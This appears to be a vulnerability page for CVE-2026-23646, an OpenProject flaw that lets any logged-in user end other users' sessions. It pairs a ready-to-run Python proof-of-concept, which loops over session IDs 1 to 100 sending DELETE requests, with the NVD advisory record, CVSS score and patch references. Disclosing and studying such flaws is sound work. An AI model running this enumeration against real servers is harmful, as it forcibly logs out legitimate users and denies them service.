CVE-2026-23646

import requests # CVE-2026-23646 PoC - OpenProject Session Termination via IDOR # Target: OpenProject versions < 16.6.5 and < 17.0.1 TARGET_URL = "http://target-openproject.com" ATTACKER_TOKEN = "attacker_auth_token_here" def terminate_victim_session(victim_session_id): """ Delete a victim's session without ownership verification The session ID uses incremental integers, allowing enumeration """ endpoint = f"{TARGET_URL}/my/sessions/{victim_session_id}" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } response = requests.delete(endpoint, headers=headers) return response.status_code == 204 def enumerate_and_terminate_sessions(start_id=1, end_id=1000): """ Enumerate session IDs and terminate active user sessions This causes denial of service for affected users """ terminated = [] for session_id in range(start_id, end_id): if terminate_victim_session(session_id): terminated.append(session_id) print(f"[+] Terminated session ID: {session_id}") return terminated if __name__ == "__main__": # Example: Terminate sessions with IDs 1-100 enumerate_and_terminate_sessions(1, 100)

{"cve": {"id": "CVE-2026-23646", "sourceIdentifier": "[email protected]", "published": "2026-01-19T18:16:05.587", "lastModified": "2026-02-02T20:46:13.157", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenProject is an open-source, web-based project management software. Users of OpenProject versions prior to 16.6.5 and 17.0.1 have the ability to view and end their active sessions via Account Settings → Sessions. When deleting a session, it was not properly checked if the session belongs to the user. As the ID that is used to identify these session objects use incremental integers, users could iterate requests using `DELETE /my/sessions/:id` and thus unauthenticate other users. Users did not have access to any sensitive information (like browser identifier, IP addresses, etc) of other users that are stored in the session. The problem was patched in OpenProject versions 16.6.5 and 17.0.1. No known workarounds are available as this does not require any permissions or other that can temporarily be disabled."}, {"lang": "es", "value": "OpenProject es un software de gestión de proyectos de código abierto y basado en la web. Los usuarios de versiones de OpenProject anteriores a la 16.6.5 y 17.0.1 tienen la capacidad de ver y finalizar sus sesiones activas a través de Configuración de la cuenta ? Sesiones. Al eliminar una sesión, no se verificaba correctamente si la sesión pertenecía al usuario. Dado que el ID que se utiliza para identificar estos objetos de sesión usa enteros incrementales, los usuarios podían iterar solicitudes usando 'DELETE /my/sessions/:id' y así desautenticar a otros usuarios. Los usuarios no tenían acceso a ninguna información sensible (como identificador de navegador, direcciones IP, etc.) de otros usuarios que se almacena en la sesión. El problema fue parcheado en las versiones de OpenProject 16.6.5 y 17.0.1. No hay soluciones alternativas conocidas disponibles ya que esto no requiere ningún permiso u otro que pueda deshabilitarse temporalmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-488"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openproject:openproject:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.6.5", "matchCriteriaId": "4C6FE059-AB36-4883-AE55-2E65FDE51BD2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openproject:openproject:17.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "78FA3834-A1AB-4489-AE2A-2C7FAE9B619F"}]}]}], "references": [{"url": "https://github.com/opf/openproject/releases/tag/v16.6.5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/opf/openproject/releases/tag/v17.0.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/opf/openproject/security/advisories/GHSA-w422-xf8f-v4vp", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}